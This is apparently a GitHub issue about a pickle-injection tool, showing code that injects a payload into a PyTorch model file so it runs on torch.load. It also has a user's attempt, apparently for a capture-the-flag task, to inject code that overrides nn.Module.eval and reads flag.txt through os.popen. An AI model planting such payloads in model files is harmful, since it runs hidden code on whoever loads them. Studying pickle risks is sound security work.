You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
result = PyTorchModelWrapper("mobilenet.pth")
# Inject payload, overwriting the existing file instead of creating a new one
temp_filename = "temp_filename.pt"
result.inject_payload(
"print('!!!!!!Never trust a pickle!!!!!!')",
temp_filename,
injection="insertion",
overwrite=True,
)
# Load file with injected payload
torch.load("mobilenet.pth")
This code prints "!!!!!!Never trust a pickle!!!!!!" when loading the model, what if i want to override the .eval() function of the model and execute a code whenever .eval() is called.
I tried this but it kept calling it recursively and crashing:
cmd = """
import torch.nn as nn
import os
def custom_eval(self):
string = os.popen('cat flag.txt').read().strip()
print(f'The content of flag.txt is:\\n{string}')
super(type(self), self).eval()
nn.Module.eval = custom_eval # Override globally (or target specific classes)
"""
The text was updated successfully, but these errors were encountered:
Based on the example provided:
This code prints "!!!!!!Never trust a pickle!!!!!!" when loading the model, what if i want to override the .eval() function of the model and execute a code whenever .eval() is called.
I tried this but it kept calling it recursively and crashing:
The text was updated successfully, but these errors were encountered: